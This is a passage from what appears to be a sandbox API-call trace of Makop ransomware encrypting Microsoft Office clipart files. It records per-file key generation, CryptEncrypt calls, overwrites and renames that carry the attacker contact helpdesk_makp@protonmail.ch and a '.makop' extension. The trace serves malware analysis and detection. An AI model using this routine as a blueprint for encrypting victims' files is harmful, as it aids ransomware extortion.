lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.488] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.489] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.489] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.489] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.489] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c9c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c9c, lpOverlapped=0x0) returned 1 [0135.491] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ca0, dwBufLen=0x3ca0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ca0) returned 1 [0135.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.491] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ca0, lpOverlapped=0x0) returned 1 [0135.492] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.492] SetEndOfFile (hFile=0xf0) returned 1 [0135.500] GetProcessHeap () returned 0x48a0000 [0135.500] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.500] GetProcessHeap () returned 0x48a0000 [0135.500] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.500] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.501] CloseHandle (hObject=0xf0) returned 1 [0135.501] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1 [0135.501] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF") returned 63 [0135.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.504] GetProcessHeap () returned 0x48a0000 [0135.504] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.504] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.504] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.504] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0135.508] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.508] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.508] GetProcessHeap () returned 0x48a0000 [0135.508] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.509] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.509] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.509] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.509] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.509] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.509] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.509] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.510] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.510] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.510] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.510] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.510] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x493e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x493e, lpOverlapped=0x0) returned 1 [0135.512] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4940, dwBufLen=0x4940 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4940) returned 1 [0135.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4940, lpOverlapped=0x0) returned 1 [0135.513] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.513] SetEndOfFile (hFile=0xf0) returned 1 [0135.520] GetProcessHeap () returned 0x48a0000 [0135.520] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.520] GetProcessHeap () returned 0x48a0000 [0135.520] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.520] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.522] CloseHandle (hObject=0xf0) returned 1 [0135.522] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1 [0135.522] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF") returned 63 [0135.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.523] GetProcessHeap () returned 0x48a0000 [0135.523] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.523] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.523] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.523] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.523] GetProcessHeap () returned 0x48a0000 [0135.523] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.523] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.523] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.524] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.527] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.527] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.527] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.528] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.528] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.528] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.528] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.528] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.528] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4960, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4960, lpOverlapped=0x0) returned 1 [0135.530] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4960, dwBufLen=0x4960 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4960) returned 1 [0135.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4960, lpOverlapped=0x0) returned 1 [0135.531] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.531] SetEndOfFile (hFile=0xf0) returned 1 [0135.538] GetProcessHeap () returned 0x48a0000 [0135.538] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.538] GetProcessHeap () returned 0x48a0000 [0135.538] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.538] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.540] CloseHandle (hObject=0xf0) returned 1 [0135.540] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1 [0135.540] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF") returned 63 [0135.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.542] GetProcessHeap () returned 0x48a0000 [0135.542] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.542] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.542] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.542] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0135.546] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.547] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.547] GetProcessHeap () returned 0x48a0000 [0135.547] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.547] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.547] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.547] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.547] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.547] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.547] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.548] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.548] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.548] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.548] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.548] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.548] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4584, lpOverlapped=0x0) returned 1 [0135.550] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4590, dwBufLen=0x4590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4590) returned 1 [0135.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.550] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4590, lpOverlapped=0x0) returned 1 [0135.550] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.550] SetEndOfFile (hFile=0xf0) returned 1 [0135.557] GetProcessHeap () returned 0x48a0000 [0135.557] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.557] GetProcessHeap () returned 0x48a0000 [0135.557] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.557] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.559] CloseHandle (hObject=0xf0) returned 1 [0135.559] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1 [0135.559] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF") returned 63 [0135.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.560] GetProcessHeap () returned 0x48a0000 [0135.560] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.561] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.561] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.561] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0135.565] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.565] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.566] GetProcessHeap () returned 0x48a0000 [0135.566] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.566] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.566] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.566] WriteFile 